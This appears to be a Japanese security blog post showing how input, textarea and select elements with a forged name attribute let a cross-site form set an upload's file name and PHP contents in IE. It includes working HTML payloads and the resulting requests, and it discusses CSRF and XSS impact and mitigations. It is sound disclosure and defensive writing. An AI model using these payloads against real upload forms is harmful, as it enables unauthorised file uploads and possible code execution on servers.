まず、おさらいとして、IE8以前でのパターンは下記の通りでした(要点のみ)。
<form enctype="multipart/form-data" action="pro_add_check.php" method="POST">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();?>'>
<input type="submit" value="submit" />
これによるリクエスト(要点のみ)は下記となり、ファイル名とファイルの中身が指定できていることが分かります(WindowsXP上のIE8で確認)。この方法はIE8まででのみ有効で、IE9以降ではname属性中のダブルクォートがパーセントエンコード(%22)されるようなりました。-----------------------------7de2af1b3f023e Content-Disposition: form-data; name="gazou"; filename="a.php" <? phpinfo();?> -----------------------------7de2af1b3f023e--
これに対して、望月さんから教えていただいた方法は、textarea要素を使うものです。望月さんのご許可をいただきましたので下記に公開します。
<textarea name='gazou"; filename="phpinfo.php'>
<?php
phpinfo();
?>
</textarea>
これによるリクエストは下記の通りです。Windows7上のIE11で確認したところ、ファイル名とファイルの中身が指定できていることが分かります。望月さんから教えていただいたtextarea要素が使えるのであれば、select要素でもできるのではないかと考え、試してみました。環境は同じくWindows7上のIE11です。-----------------------------7de3811808b6 Content-Disposition: form-data; name="gazou"; filename="phpinfo.php" <?php phpinfo(); ?> -----------------------------7de3811808b6--
<select name='gazou"; filename="phpinfo.php'>
<option value="<?php phpinfo(); ?>" selected>1</option>
</select>
すると、下記のリクエストとなり、select要素でもできることが分かりました。さて、上記を公開して良いかについては、少し悩みました。input要素の場合のように、「IE9では改修されているが、IE8以前では放置されている、すなわち改修される見込みが薄い」というものではないと思ったからです。-----------------------------7de6110808b6 Content-Disposition: form-data; name="gazou"; filename="phpinfo.php" <?php phpinfo(); ?> -----------------------------7de6110808b6--
しかし、望月さんからの情報によると、2008年に既に公知となっているとのことです。また、望月さんからマイクロソフトには連絡済みとのことでした。
- GNUCITIZEN » Cross-site File Upload Attacks
- Web Security Research» Alex's Corner: CSRF-ing File Upload Fields
既に公開されている情報を隠していても仕方ないので、こうして公開することにしました。上記のリンク先には、Content-Typeを指定する方法も記載されています。これは昨日のエントリで私が追記した方法と同じですね。
ということで、最新のIEであってもファイルアップロードフォームにて、外部からファイル名とファイルの中身を指定できることを紹介しました。これによる影響としては下記が考えられます。
- CSRFにて別の利用者のブラウザ上からファイルをアップロードする
- ファイル名のエスケープ漏れがある場合にXSSができる
どちらも、CSRFやXSSの基本的な対策をしていれば防げるものですので大きな影響はありませんが、「攻撃経路がないから大丈夫」と思って手抜きをしていると危険な状態になる可能性がありますね。それに、Unix/Linuxでは「<」や「>」等もファイル名として使える文字ですので、ファイル名のHTMLエスケープはセキュリティ抜きとしても必要な処理です。
0 件のコメント:
コメントを投稿